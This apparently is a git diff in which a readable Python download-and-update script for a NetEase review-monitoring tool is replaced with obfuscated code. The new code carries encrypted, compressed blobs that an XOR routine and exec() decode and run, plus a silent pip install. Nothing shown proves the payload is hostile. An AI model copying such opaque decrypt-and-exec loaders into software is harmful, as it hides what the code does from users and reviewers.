pHF~hH4(EtLS#Hw$ECV}tsluGj6tZDPxEf8h&GS!$*aq>o}h6cW095)5Wp`HGj|_CEl}86ZH(asj@Y6+q}ujJCn;1N;5Ca?bsGV!KSzk5?kE>Nd>8I++wer4h{+~6n%n;e977p~ok;|L`fnk0w6D8c(oWdh}mIit_bAy0e2FTY2KR(5UB>rW*_sJf+dcjkGz0<`o{)_Es3N-X9n1V7qQbSz^n1LUgg`N2NF1Nx$_VJu%0BBs)SG-Q?=78B{!hXw=z>eXpPUGBcD1xLe7XR`k-XI8W+BnHOif;8#c85uur0QVLF`+bVY~+-bT%utl_G)X@jHzj%mV9V{@)YJeMrdjFAhvWx5`e5Jo)+6Pr(sgIo(2hc)zUqpdX>vYC5d?$XP>{VB8lSKC3%qmm43gkaMAql&6?TxNJT6fz&G57)0Xfq8U{fd8Eh-n7Xy|&&uJZD6KpbCDOF`o{k-T2Ymfc*1YEj?W4kK!a_pU^dDj8Qs(-QeGGN6{3X=)IPl_uLwDvx6I*-hZ$RQIY8cH9C$Nm{UG?KZIzi)q;3qV*4!FzRBqiHeq`G1p%|#^tbr6wQj^4eo(Mwd3=d70T|zQ4K&Kw4!Qy`Mq0IoHhpu|C(JsT2}jgQYY57MWCYd#71(Q}F9wQ^p%f9ea%RCQylL^SCD#UCo7~(^G2Rya5$B)(a@LFf*#km0aJFGW~_de3?~{nfU8d7F{HmfRfu~6p@21Q;m!egP>sT2+7agr#rX!1@m+UbrO{D$^2m4DVvq58&nq89Sm&MzsE>^+s2bm$x04yEDBTd3*k~KNlH0^mN%+`F(|B(`$bKrUdK1q5F4{vOW;#~>?N>@l{&MG=$_&zl27w$bfu%7SK)^T$T2dYA9IeUt=?4r7p=G#-h9PbjDE|A@^M~FWxVaYdsZjrI6TdretUExpKbe)-zz+M~W&JDhE=p4v6bI3P`WJIsL7j%5EM=88bLBvXcrtAjp8eb&wg?ihcM{-VRPqnw7~sTX`I9LKH=+?04&a9Mn#`QDV-=6ImPu9n}U+%q1zj?9~r@_`@(V~}VhFE58u_X>tnCr!}=fFwgJ{a2R)aFd$3*|ef95D6m!d5Jg_PFn|bt9?S5YcX;h=B2~K(nJkL&tFp*iJk)ykHYCHcPOx>^-utA2Wvp7%ZHny(5d2~t~Row{3$^=oehI>b{o-jRCNHp4PAGVTYSUHJ7}6RJJ_vvr@=U&4*6S%+~eP;>bH>aR{_0tX(DlMX(dD<3cAcS0BAcg@=N@M`^!|b^tHY}ye1rM{x~6bM&FF;fIkG8$2kNczINYYc3R`M?-C0U!=os^pj)17!&Zne7o&c#;1@rb<2zc*T%98CJFWF9${{RUnpz&Xj52}%3z~q}?mI(-r?kpCtO;X2Y3;9p?NSR3f%YJ@zz#1VP^_=Jt7ZWTYUZL3JtMx1m&-iAn#IlNaz1{yL#cHyl_vvxvl;83M(o|nJ0!(Pf?}L|&srBpa%@?VyFl|y4k7O0zmc;sK7biaF5xTH*!slZl>Q{jE=H5p$hsNOIDn)q97dd=A%p1AZ#Y;~(g~d$@Xbc2$OLc6-HKoP4)61(zMIaa+^6ULUG>j6!du+{B2_Q(Cm#201=|P~WNI?K9I(a1;vT~VLaFY71EykZkaS0LdQ_>f%eX&}H?FhhGfRPP9%d#pYrGGrfN;Xi*h-b>MNfKH-wb2lMVr=M^eV9LYG}>9mH08&^KC!2%Q+z=aE-Hn`HaJbSr$&l~|4St?Bo`m;_cpZho)XEBA_bW58vu)l@z-oFcjog7>VZv;vUheFalRwSnX(Xll4{NVsozQi^z+v3}B#tpk+O?w4d3e&7p5!VRdhVK;u)*)pUK4^TWn{bUFdoGQ>x*)*2tv&dn+moghV947}?-|tY*S8a!WWR7uq0=8<-qmPSj_X@qP8Dr8OFFj45Zc^v2BRDaY2u6Pkirb8@0ZM^*y5TYLsd0r&@WOwH`oJL%l9TcbS??7K%t`~U2h1jtb9f?rj-?M^0MsM#2jg|Y}K$0q5$A{O`4SN`Df3H{%jSE+bkc@U)f(Wk_aUS%Y8Y3d}4ZeS|NQ~RygKtnYIb$*4DhXLkqOh%VP3R|Uz{v*A<(j#lnUx{Hok(S&dg&h3}X~9DgWf;6W3=aU@e+RXuMXyQcN!$S|-5eHQX>OL8A|5JLbwodr)+Udl?Ob|Xa;9Zj4j7j)cFIm=kw*!AXBjVdv_mP2Z$y!kH9-Nd5a7V+BbS2e=|RUPApsIx{l6V%j@cJtE$aHV1|S83tDpt>Yj39VSNH8!{w$V`m7S;5=@Ex6xV&-Esa)K0^SsmJSSe?(kIVwRN&mh832Pk0ih*K33F*RZ|$Ij!4}>7K4#^3yqy>28EtSnPQ7^yywAHixL+n=W#kqIk{$v-!F(1Y;Dd+~G&>_<40cWh!-QQDVKWWJ-=Asd&QQQKAsrSbK6X`Gd2CW$e1tA+u$P|K-ovD9jKz`!o$6DdI|?!9SOrA8NvPjc^ApdAK!D=68B04(uF6-MzScssyc5RYUfps?t|x(R{N=vCXTtAqH;|UQ*q_BjFe__Iv{HnT9bUi6(vFd>){J34*Ou6P)L_viHn(cZkouAV#rWBrGRYJds2w&!7Ws(ed^o@#Mmv3r+xWl!Ou2H#(5gA&8Da0nNjrHbbHrX^_U->lk;qZZs4$bfrf#U!HLw3ykz{Y7zZ32*~02Qyz3A7|Y_X~FoD)}lD3z@v_-d!%>PLZsI68h^6rN0KHeRmuAhB9QKuX`q9VIS3#qyWR$=!N}OGacE!K%=&UbtpdSZaF7r%DpQ-;_+&o{AiwuG=DxvA^^Yz3Y%`A^vnx5r|UQNH9Mhkr0wT-xjk1h9|Y*HUD=V?U02NS_oDIGoepz1T@=f^aRjMeRDD)017O*c2x_va4W*yxViAYyE6w&I6&+?%OSRsGc6o+gh&?i1hY8N9Q~V;__F*3BK#}CYoCD~TGQ`kFoZt~e@l24j_@E|t!l(cFK0Kb?0%4YrBG;>q)_BCsV42!Slo*K**7}`Q>*w&BB(SfwQQ)WZ|0M%aE2BVZHx<{tvsRqzBzOBZz1E&vB|yG0o1AeS^}W0!^h^_IkBw(6O!S5(pr)BoMKS)*Su*N#^Nzt|5P)mInb3cZMP9UzbB49(KbJMOcxxr6&U?wb7YT-U(QziwMd8EVuDmjGKf7taN(2cybL*@eNu5FDe@}=w?AqMH%iaj#r^XDma)~KDclJ(jc9Y7Ti^2XsWwItRC8;t+~JVbu!anQP(^q?!rMXC|;XwKh;n2jKf4_AAkI6=@edV1}eZm%1s=7e7x@Uq#`717jyB%hakQsu1!B9sNVHu9_v%=pe_YT@W1Veho&w&p3x%d_m8e-y5^4zgBSp9rjzSCcL`4>%P{Oqx!~MG)I{MafWpdQVQb;(#jRr3Q2krHrp>@G`S?rI~S_+HJ34rF$a=Yos6Lq%w<2a7)?=!`q2R?~Q{m*|R>c9g*)o{i$jSsoj=j?sed)cPge#E+Kd$z;RX*H?6R{o`diN3ShiNh3)BSA4RL-;V*;2IGs+lp_o2HsFYtETUpt(7RV#3hO@U-};2r5c8%8C`V7O?ip`LOJ{D+H%uUUB*hE&`1IQ_{#`ySVubQtE2GS$K+*BV;+gWp>K{s4i*ZtY?UdtNx9%3_yGV9OakQSw_#=ax1S;x9%k_sIyUZy^pG9sh>(|-x;HajaYr@fy>WvH?Qe&ZtRC|jI5e=ix~6Z)mzpcvLX<=-z84jK9tH_wt!Ni+|Qet`Pi1@Rykod~rAf1}{vr~XZ4btb*zP(m`8)wO_Bcs(4#qlJ(fVT0R5R%}OkNGsVRIR6DE0nq~VE?D+Op)UZT6TW*Q1-a)DvcIH?R*{sy4;hnlg6@EKa85bZ8Pga)<`M^MQ;;GhzYYU$e>jF_+0Xv*PfHWokazv$L-eBeIz#&>G$Q7`&Z}#b4K@Zdx{eR`ZzZQ1aS3|6_U{LxpnaB}YC2`i$=yU^$CYE^MHC#00Zrt>U`Ch71i^C^Xx%TFm+neP*x8g&Br-9Lr*yanlfyUa3bUb1TX>LUT$s%uu{p_dto^g&Pgvd>#tB-%ay7g5_sS8Lu-;GOaR1rX_(1m^kG5p3>{?b;yW!wI3+JUN1~*_a%f{dmZde;ZR)yLO>ZT>W(r00$wIvKSoqj_oo+ur-dU`CF2Mqlp?n@>*}xiuh!v{d9aNnd<3^_lDd4iuwq(zBMxJrZBp-4#xV7b$VQnv~{iO)o(@yL){IW+n|ISvP!tz(DIk03@aVM@%H*ly<#-7fiA?ohrY&fUf
zVHM+TouCAarx#6bg0G$MTYtuxZXE(N%>kA)HX#MG2JFBmIVU#W_WG|eb9$`Fik{|gdX0d-naE`(vI;uGG>%*sz>y6bUxC&*sYoDOx6BY5n{>v-*5_S2t|bZaHY4$PDqRoi<{JvP=>771NuVXTshKprwtMt)qho!O#6H8R)e3s4g>gpyWQEr)I(rSk8~^fWM9XyCl7ggiMrwA~IyOJZO#Z@j(OX?U(QL0?>iGhm1}!FTM3`@L7SW2Q7FA#h@JXH^2sx3-3GsVz6wHw(t(N5w>&ZH(@8*2FBII0o&Bs>g%opnCsSFs=1b$Sz@|YT)^pP=mx;74*;R<}+>LLLR6xtpB;vQj@PAz@xCNU9qSAQwy^mEY4_T8Kt}q9q0m+|-!K9*PrMY7L?)>ZYMX1n_y(>@NZC?8gs-D~oy)?a1e@i_((VI{ap*h>nNf&-oF?t?M?2{_4ArFm}nX?zdxV7@4^0yD&A2+^%odXK+sfnw+F|y-Om+6QnLn6W{+L`np(HxlmMJLoXNm{iI<-h{Dm#?C_6O1;$w{(6AXm_O9OxqEP%Kk+MZdW!s6Zgk(_bwp6KOmLbqG++ikm1gY}61X(4U#GODZ|#}uu{cy@Bou)d5v1vWL&f>oIV>M@0$bLO%VZtqB^xhRKQ%=1V@>_G3niW#AdyHX4h#F4*(v!Lz%tDp(5x(nLUZ_(RrQ`_h}LGFY_s!zP-C(loREZ8((mdm}AZSA}*To1D5XB_tP#-GoBhbArem`#WCS=Z&7LRgiCZrO_T#V{w*KgvzdSdf;M<>b8h;yn9GPf^l&Py$@KP^?7-XV3{2mw<-iIE^*O_CzDOAd!8j;h!MPHqmCqR+-6#(b;QNB8UmKj#OA0{QNF^P1<+jyOhCcWw;_t6e;<#`}_lg=C21TkGUr{DOIgKH&sP~UqK$4GVaT3O&Cdo<-BD2vQ+xm+6s0Jidot2JEvTfVq!BtL$YFKg`ZoESO00&9pyDy7M&ny!_;ysw(+xZs19qub1c3?QdId`cDjg*y({}W+goI6FvHn~u5au<5aqpyC{WiHENTq>d!P!r*Wvwhd#rw6T2v2?7K{cWMbyYErG3AQmFjt;CqUGcE-tNRll`K54jY2jFtx(*7tB7ix`NiCo8obK3i?~?9Xe!z%l!Crj>a*UIMARb2{vf*4G3Sg~#)S~c5ees@p69K4H<=y_YvAWCHX(FRn2UU25Q^TV>J39Vdf;zXVB}&XcPHtfcrd<28g1Ue&>&=k%XEM0-V|z6^s0UtALLc_<-k$JE}4l620Ax2UUf-Is42+!{hA&lw^*W)OB?gMpRQujwb}*DbyO#~k;tJco_z)YeKZY6rp{9p6b23Bnbt!^S{NL$Mh2`{e$;rY&Z3uOEo$}fyhjgb3BE~t>Ro(ZP~!z7o@dMPT)QzO!z;G&5^E`L#V%-)?IEpYECBB>$)-Ijt2kWdO^Y-{jCwijZERU{iIr8iiUQB_+_#nS|gh)g|HnQxv|;$qAg>+p@vnh5;SKgRqwf3p^3&%p*eDl&}v9e=f4Jj#%>AZ7yw*LO>%g*_?*Mo^i9Bz|(=drUrzcqqX#JJ9ooNh@{z;PZQhI$L^Q~M{5DPY3+Amv+rUWH5jo}XHLyX(+jD2a_BolnRPA~|=)vy#j-4!j?rb9yR#;xPmh~HenuR2XzSCPQrr{~9eptr%|8xm2N&ZPeE``>8bbHz-ULrHq(xpI2M36hEi@s9)@?^CCI|nt}jq@QnKVys{MT{VSs7hQ2jUqKH_dxU9r(t3`GuI1-%~kNYaa+$<^#?4_%P|=Bd}zLMiXvtB(qwnF_G6U~#>nExMY}47=csRZrcw`82Zu_K+a`(Q!7|l@Q$B(Xetth{1`ppR$s9bdmu0kejv2omv_#W+yRFm}@}Ovoe0k|WJeZ4Fup7lOS<`jyMZs{aybuY}>tF-ooga)7&1~5&rBGA|Q~SjA(xvPr*#vHbbRjg%tGM)vFEMQG4-%i&eNkXL3_NeDt85jGPD#!%GJwVJ%K)$$?;{Zv}qkdp?FUR>QYyV2veyvwnzK6va^P0EQcvb~9EB)w{>QfZ>vk5vq^`Pj?5m({+5&E^dhF6tvkLVfV%8kmkHDD;zz6t9gtH+oRS#Mi`)(_%f}DS;85>H8(Zu35@yDC>|Ad*24DPAb7k=h^<0p!%~6ZR)HZw0rw|i|_yvOH{0J$%-B9Q_HL4O*{xLLI!z7B-q8yPZ_uv*sPXW1HT}IB^J;Y_dkT#5myg9Z>X!4grF!;)Wz_lR-iscE;Gc!)_^>P7||8dlSF$-Izp1()0&a))=hiQ7JELQSv@m+Y4f2n0`aH{sUk1%@+2psS5?)sHmb^7Jf%Wja%YZ>|zvW|mp3hgR=437?{SKsP?e>QOe>h-3|#6>2&Z0BCG3*=I95owyPoxI_U99=+8Nc(>Uxew_gLnrBA=AR>iKOYmcyFU?dg)!$ca!m1kKC?BrKd-MgZHjEPj@30F9G*c3(hS+5JN%QJ}R~}ni=UrmM4S#CX6-a`$lsPPckVyw11K-6c62&=T1>3OViVyg%!-;o8F`e)0>oSf9)*!9Gb-_z0*(ZNT*pOVq7QPbUA|Pp%_Lmc!lhi9rfbd_Ud3@!H8#e4BYuk!K}6_hr;Aj0B1Oek)2Wt%i$%Nbvp_bd~`lG_l*GPoP|l2F!c*w^8^Lg&pSzFzdh;;JA(h`6bIx%Y#*e@LAtImaJ*K>ERTTiZ}E3wWZNBGRwx6aLptn?;|OvE7}{VLHiXZ@=}&-$zET}5r*ry@8xATeY5@0!hzxW;MF?9nVqLDNhLoD>aTEohQm#$w7R(Jh~4LHLsnueX(M72rRnay1MIbG9}$3_}B!Y9Puvm@e62iXQ_*~t+pm#Y)~u){YLcy|gLjjHuphEFHhI%45~dTCr?8&lHHJv5#$ZzgM5cFA5zS34!8Ax{mgvEYl{76YqsMQ0^5}Q0AIkQ48+C9c!)t7rs)jO#8Rb>b?)oDV>+d|~;N0xHZdy?l{JUho*<>v{X5%n*j^zuowh*#+1R{Wo@+Fx??kD0;dwg=tjTDC?2#@+17vdn3vM~y1tr)%*wm&XWA_ndaT#m!B3z>cJU&jU%0&Wh1g-1H;;`iwo+I(i65%?+cgc?oB+X|uI%87G58e=1y3|`c$!4C`H1rY(l)6Y9BP4XuEJC^z{{p3tmDv9Y}oCxGXE2v#o!-qKtggS4czGtW=pa|6oWrSHnv9^RG2mzu5|FpNzS>SA=2@sf4fjGR-j#+N@r=60s)k+gdcqF3`c!^iIo)dY-bwSb~3ilAzP~&t}TdT!U7I%OUoF%F$*+sBn>?p32S?V3quzh@c`Rw?&{j4N;cL~EMqM?tR!O5QHj5*>8p6U{V!HD%lM(|*2A{}zpixr>E@7fg}aY9JwX!t7N*T*Aw1-PpCDz@~emBjtsU!SxXDlPx_h)pZ~=`3Xubcl?fHc`s)e;zO4nd>+yiE)u_eX|Fr)g0#6!7q=PpGvakIlHVI0m3O$2-^MK?ac`g}q6rfWYTl-19~6@>VKV7BHAzEEk!G@Uq{Nmg@H^X9=|~QizXjV#=b15wICA%bd<#5q9)-Kf0%%1v&g(L=RW&;|0WA!fuN$v+49wV(qw23Ou66pXr5&zzG8HKuD)Ytw9Ul|{mSv>k5rR0?G>@kckw{{0wa#iya(!uG^O!yPtHF3etWm#mXK^qm^_j1~8SI;1d9qh@A{Y?27nR8GsVeVLl59?AYaK1*RJZ~rSw%!?FsnEYR6mbp`5*m-6|#d&G8GJ1yctOaFKdKUb(Rw&q@8KEYFTDchcek_dCrR-UZAuOq+c-a=&gcrfnBM+6KbkC3)k(${qq&Qr(_iF8nB`WZRJ+FC4e$IHS{*j`4AujZB|2at1V`tx^W3U^}2Fuc(IxckGycxZUB8e~pIf;uVGLqe--klH`Jc$$vfK7<{{>nwOe_{v3=k1I88@8&@y7b4^Yut|5880=VK;bI>;KBD&x0HOLhh4t*m#Og^Y5%GgXpV^UuJ}_}Qvf9+fp%3o#M9mFq&}1g)_Bx3WJ9Fn|u?&5*cbFAK^JOurbOUFq7q7hfm8*B!c1{=0gg#ugUezfJ_g9<5pHVYfoPd0N$~MOsZzDV~3jcy=(_vs#*gWbYP#5$07c1g>QthzPf8)?Q;_VB>MztV0G}AUCfuZJLit;lDu>ibJ8Q*_&LUvdzdv%V9X^Wwv7XslTv0%I-zg<$%2GZ^8LYtKAfg6cX!wHm1)%(qF#RX4jWs>Nf!wf&lUR7Aj&vb2{4|;^+^b7HbZF;Ns?UR(jH2=c*U5R>O=;^6gQ`%;P-rr-%BUv64IxpSVuMb<<3wOCY9fGSpr*l+uCq8+@g3VTztxF2X7X7f>mQjB#_%FIz=*8jW3QB3y^T5rkf?oTZc7A^?>lA_6N+!WGp}P)}-cp07V+v@VU;+YA&P%Bg!RG=7m^amAhP#W%uIT8i`Wt@0xPjXkK2?Mb&(lp0f8L(`^z!5`(C2g{g<#0;e9vuDPEl9eSTY;0fe}2QSl*5`NsoC>&;3@i+bgw{|v-zRDrV*5YP6}#yaYtZ>d$%C8rgPW?y>flFl(VV<<#v*R8HE3az8Ye9_BJ9>v+NXOnVzlfEs+Z_LA&FgLC?HKpt#F9I^sLI<-aEgF2yypmD>lpmR(bB2)#m2b+)+So1$%k;x^Qkijz#Kw^8$1SQTfgxFlyy;lP?>lGk%{BJo>lel@+4kq9A-%7?|Dj^xqzKQSaIEJacroM_&v#N%ZQ79qGQ!4pbd}8zV+?U)ESAUUKmS7q?-~Tdv-S^vF9#CHkz{Y9mFj!}zw5$ViwLE{u89qa6E44os>w}9B=7W6GhK0sSC)(`=~wXEixCGXXUQ~-&T{s=AqppNpA+!p+=3$0hYlKs3oDwrnanr8dDIN*AmZq3gVfd40*>ES6erH~izD|KK;Gq{PVrqeh<@Lj)#!#Em{o$Hu7IA&=iIUqEw;Eu!iRqvU|_7QcTNa7QF(Z6SzZC8Ukew1n|$Hq6V)BP8-*j{>+Q<%iSQt_q1m?#el=_F*y%Q)3rjFJ_+9YM6})WT?uAH+`d;oINj0dE!At1`vp2kI`&urbYzwlcd53I;hVzBjG(YD5V?nIq<+#UD$D=``WDN&;2LA;-dAy&iR|5CGe+bV5_~&{i5j&~b1N?','exec')) +except Exception as e: + _xTb8MmsBA="程序无法启动: "+str(e)[:50] + _MC2yjSODsno("错误",_xTb8MmsBA,1) + sys.exit(1) diff --git a/download_auto_run.py b/download_auto_run.py index 2a6da59..b599db2 100644 --- a/download_auto_run.py +++ b/download_auto_run.py @@ -1,447 +1,49 @@ -#!/usr/bin/env python # -*- coding: utf-8 -*- +import base64,zlib,sys,os,time,random +import threading,importlib,subprocess -""" -Python 2.7 Auto Download Script -For NetEase Da Shen Review Data Monitoring System -""" +def _XpdtICfJk6fG(d,k): + return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -import os -import sys -import time -import shutil -import urllib2 -import getpass -import base64 -import subprocess -import traceback -import codecs -from datetime import datetime +def _nLblj46p1(t,m,is_error=False): + try: + try: + from playsound import playsound + except ImportError: + subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], + stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) + from playsound import playsound + + # 播放系统声音 + try: + import winsound + sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION + winsound.MessageBeep(sound_type) + except: + print("\a") # 备用蜂鸣声 + + # 在控制台打印消息 + print("\n" + "="*50) + print(f"{t}: {m}") + print("="*50 + "\n") + + return True + except Exception as e: + print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") + return False -# 先尝试设置控制台代码页为UTF-8(仅Windows环境) +def _PptF7lliKBC(t,m,e=0): + _nLblj46p1(t,m,e==1) + +# 直接执行解密和运行代码 +_SeRxUx=b'u \xd5\xa7\x98w\xcen\xd4\x14\x89\xd6\xa8\x99\xb8\xc7' +_QYb3wBdh=b'4ZJv;^CZ=&Ld$&pPP6^ysGucGehp`w(@T=^25S=stjzd40&Qx4m^MVd&)V3SFGL12wGkB4@^oY-%<0*5dJXOGipNlkylrdaMYDw&`=_$7K!h$b632N)NghFXg6VeJu9~Ys=|hbFsDqso=U5gu#1>mfA;9TcB|On6TBY45A$evIuw5eqHOM`A+}uPaz^IPvcXZ3?9)~7~-YRE~mLZ%$$Rb{jEJMEuMRsQ>M}=b%s3xO4fZCf!i-4Bj5!kXBZi)+?Wm9F31KA3(EMbpXfZ9ZKM!=9yP4%Oe3ve&WpZx=mO(8;VzD%1qE|lD0P0)(~=Yg+Wb^zb=MWb9>OlPKSsGPH_OPz`QWx;pX4XplS*76i_i~7zOMGG=AJwRhwo+ULd8wJ+P_PbydpL-Mi<40p`Xewo611w+z3FFrYSq5dEhek`?!_*ZWL#CjT;|9Vp!CE0x|ImQ)>S&$blOBOwJVS&I>~?n&ZIoa2(-D0YG=bket3$2_qBY*n>6sZAxA@fjPskb*xDd%8n3(eVhv_sF$|oS>)QhI=39y@p@zI^rILUOq!MN-mg$}5rx0}toxFQYu6dy*@@c99(k(=M?|0Z<~Fgd!>S2_w;%P@7Si}70|zEvhZ&e)GM^Ug7$tYGgZtOHMnd1}^A9`bU-6M?P!iAaCo$4}Sj4SQl5DY`VHF+j-qf+^^7dAo_cOhh_C;TGxe(E&m%gxWBI{7fGu3$`g4uhUyLSIFSLK<|@k^u+kNMj(g7ICJI8_S6qShd*M^9-a$1Ef9wReO(Xe;s{1g{d55ES((zd=2$Mtdt5YRxs--uq1uZVP@TI7K;*5z1i9q&cL2-;IB32`;|pca{=2=%;fO#~aV#@05(WrSPq}y;vrovsQ#}JJ5m%1*!c)=1eQ*)%8V6q;>0WSZp?H|yncZ98O1Jgl>7st0j%MHqS#QJ-9oXB8q1_{}>v(1QT^%yiPv|Hk5#9;ymc7!j~$^u)ddC7+wzQP9P3W99l|zM$?cY`$$QXB;Mi(HxC`zK4&?#K7y+xy|b7I_?eAnaCRC$0*=fa^jYUSW#>;PEm`P;pebgI)$kx_rOLCZn~O{Ma|S&WkJ=v{Z@O)W4r^ZkpDyQ%L$~`}wagLO0~fyxD>s#c0b6++8w>r4~YL_-9WtBOJGKv)N$I5dMvs_KF!7Wmo{pWagtrrflcT0vgrOJ@)@@rwq*&7^8}i_V5M`EPd{FYTL#UTXoL6Yj)Rt*Tg~>&+Et~2di2(k67VMIP?Q3(Y6e8inn`*u^ooRyFq6M1ls$`NSyjK3ebVw_>}B{=!QcI&#?wGdh$JxAp8?7^0VzGHClN3WaA3?a1bSRfD%Byf8aN>v-%aNSSkqoJ8Zr)cy8<&86KBeKOV9xmqO5)bS<0s{UIAP-wLJNSC|g8m~(Y=9^q%2=Qy|G51aV$skovJ`o@OOn5whM{vJQQ-8n_?yWGa(mY0|`!F<2;S@MKDelX=Rim-X6cgY$rQY%OmE~DFvJIBMNozL0^jcSJTGJlSFr`OvBdh&VJ<*PHET&@hj>pAw>tUO1()Zg=Eri1xZehu4(kAemup3S6_w4WqKZM)61raf_T|xb$y*{#74(QtzN!s;|_J7H^)yKVRS?Ip_a?!rsVXu2gCj@O9zG*JVLR3#k}Oldi5Won38R?7SnEB1#A$KXVOd6$7snqqzchBZQcv0IAfXipJ&s0#NNe)RgqmkyKzX(_0X&2rcRHI?(VwTv`AMlrS{rQ`lqXUAb@#Oi?RBCvN{3YEEJGbCIM(KG?chxQc|B+6fxRNzeV0c;EKktKX+cWOlDjplM>{>!TgNc<2fRbngNUnWSav*t;@BsOUSNEX9@3B&5Ae$M#nhUSl5l`nQ~seFhCE6S<8M%)pGS2*U8F!%B)#H75eB#(J7XP_6nKiTI+V_obH}?t;jW$IkafT)}xsz71!|r?j(KismjDDz5$T~XDe#`RfU_DpdWmBO8P6&8k|n25J4k1A@?hZ0jN{(c${FaK@`P^{_@S3t4xI$*+Ure{r*t}Ut>>zIK!1DDT*Hz!x&r+}D{Ur~YYx}t15;l1?+^Pco)Hh$9t%ErP!NkS0o9^x);i88(qEIP*(C1`0iA6{TAw&=!FOkcShCeSSi+yxeZzzrLFPiZ^Xu9%JWbBM+|*o^tqgNK!3N7A5IvPhd7AW(4UFi)dD%p{xprls7Badc+vS@8J8AvhKvx$B%&%KzzU>JfLI2lEwS=5+I0qXcHFgeW(zgokVjhi$k-rv5^A0K*!g8}`$kjruLs%%6-PB{zKA9-hXVx>%208`^;^~(UOl;?2?(Y*CBcm)?WBOkJ&SZ)CB9z{pl0XjGg6C=3p?}5x@T|EDN8j<*-uE;!!|l%|2Naz*NS(o+Ia^%v6E)Bud+{q;q4E()e58ypEnHOEMB^l-zQ>xbR$qcPpdAp70aq~!61MIRX7S=w+XN?tKoqqIT*}Xi+|TMN6oEblh7%{@8#QK*$}F#(g_=pyQJ7fC7Z;7|cvy5dq|1qG$fCQLAtSNYl%6z_$pZ6;o_|_hDsn{T$Q%>>XCzVLB@YC`dFoHs9$!xhzQ1u+e~KFwk@cd0(Ya|06LZy@gm!|y90{MHgT=ANprO%PtTDe2zUfayt)CjU?1B8k2R`L-u*B`w^D{|So~|dU3ZI>2juUS@i}eS9fF-fbofyTX7uYE;=~FQ@KbD$LD}L(0xu^7Z0k)kOa>}uC1z(-zk@pIexf%j8o3*a_Vyy;UqhrwvhAGKPtY`;S6gN^gS-sBv!9zvAi#0rQa{^f4(zIg)fT6j-~f&kLrjU0rq<4iVs`5;5Ij5(w|*O=0p@^f1@)DyY2oFtk_`^)?BFThgn$^P8Kfucq^X(3CXTz!@&H%1$nNdI(0&Po{2?)wa#F4kg*!o+xI7Qx?LPk7fr@PC^{lu}#DH1k5=DsCJfwUS^lGrf&^wd-2#;<}hRt3D(qzdsE|k4@~Y_GQ@7{oqjs9*5=Gk15PIX8aflPRcLe{6f5;jBeL*x42)AS9YaDB`*<#xLmxGhQR@c#(^oJy02~`QT>(vOmp$UqO|)P>(>u7LQPF5e^eQ#bS2p*1RC!EDdq2Bs*$g%fbOSvbeuau`_v}?s0<-ttBs3ez9ZsvSqaci2y-gi@$xR9moJLf+*E3t{BDhQA@BKS9kYa8l`U_I+Prf|2r?fF(>!ruWXJCG*kE;JPuz=*8C>saddhh=3W)7g!1OP_G8)KzEp9=Eff&4Yw*IF4!9d!{%Dq=>!&btH`yMlRbKJz-dJ~uZfiCiO{9n%{FB+GdGuA5%`^JKHScSMOwQm$D@Huykt`#_DT@eQ!~M{4K)~*I&&+F@bwIJ_@}I@q(Hj13B@;;xG#b8!PO!c(k##{k@`0t1nZKtvA|R2Ve^G4byJ8)lLe~%yn9#orvKzwM^br<{S;PIxQe-W9X4fw6M7kC#wqqapwlB}pSio5jCNZrR^p#(ipseq2aEEB&)ML5peGOwGsxSmerP)6yu%u34ldaF4QD7aA6+Q>tS}T(I3WWNh1|Iiq^KoQSg4|TD60x{76eUtj4~7~)iXm@E;E=F9UJF8^zschAdalBqVCYK~=bv`|Z)=F!RPX=HwtkDG<3!a02$&?gN~yvouUmJb9i$J3zFPcVGwV^49x!Pl<6sRzT)d`@`t`ZqdTbmZE-e(jU42e7Di^+(kRe}OGR(#b_5CJx|$I)M2Cp!{7c-wM8kt{&IPV)IwG4_l_t9E`kw={5M_gP>>*}6?kt*5@G24*MU@X&XLN9xuz4}D#y~F`L}XFe)cIK9*Ip&iYO#FXuP=BI9Zbz>vah?VlCtuY=JGwjAwx*QKTod?VS=awH%jy%y&%_(*A?d@!!R?D)~V5L*-#_6@J^~n^M8*!{;W@oZNHA=gusKPzZ$gXC&aR=thA_MdT+}aQ>W2o!$RFCdfQ}1Vp^Fgg#9eNf?ZF<)8d3Cd28wG6G~2a*RPDZG@9gW8D}&O;GS&J!Jy4y^MwXfgmA0d$O($y5pn{^cY7DRy(`t+eY1;fi{jhNRMSi2EQ<#3GQJ@wg2v+BVcx4gM(r1jI|ADqWALm2_PczRcY}~GXjkpm@&!x}&=(6A#AjH*=TMthHH>sVkO1t>_|K@Gy((b}A~V;+bGigmYI9j0Qtb-XJZ0eDw`LEtQRY))syFt$X=j@9xLRRkm3*Qf&WAw9^X|<{Tt{c-JFrNA534HFaf5%(s$w)rO4QbDv5Rk`Cg0fq%hk~' try: - if sys.platform.startswith('win'): - subprocess.call('chcp 936', shell=True) -except: - pass - -# 基本配置 -#COS_URL = "http://cos.ui-beam.com/work_scripts/monitor/dev/latest/" -COS_URL = "https://gitea.ui-beam.cn/ui_beam/NetEaseDSMonitor/raw/branch/main/" -TEMP_DIR = os.path.join(os.path.expanduser("~"), "Desktop", "monitor_temp") -LOG_FILE = os.path.join(TEMP_DIR, "download_log.txt") - -# 要下载的文件列表 - 格式: (URL相对路径, 本地保存路径, 是否必需) -FILES_TO_DOWNLOAD = [ - ("start_monitor.cmd", "start_monitor.cmd", True), - ("dashboard.py", "dashboard.py", True), - ("breeze_monitor.py", "breeze_monitor.py", True), - ("breeze_monitor_CHAT.py", "breeze_monitor_CHAT.py", True), - ("cms_monitor.py", "cms_monitor.py", True), - ("templates/dashboard.html", "templates/dashboard.html", True), - ("templates/login.html", "templates/login.html", True), - ("static/ds-favicon.ico", "static/ds-favicon.ico", True), - ("install_dependencies.bat", "install_dependencies.bat", True), - ("inspect_monitor.py", "inspect_monitor.py", True) -] - -# 记录日志函数 -def log_message(message): - """记录日志消息""" - try: - # 确保日志目录存在 - log_dir = os.path.dirname(LOG_FILE) - if not os.path.exists(log_dir): - os.makedirs(log_dir) - - # 使用codecs打开文件,指定编码为gbk - with codecs.open(LOG_FILE, "a", "gbk") as f: - timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") - log_line = "[%s] %s\n" % (timestamp, message) - f.write(log_line) - - # 使用safe_print输出到控制台 - safe_print(message) - except Exception as e: - safe_print("[ERROR] Could not write to log 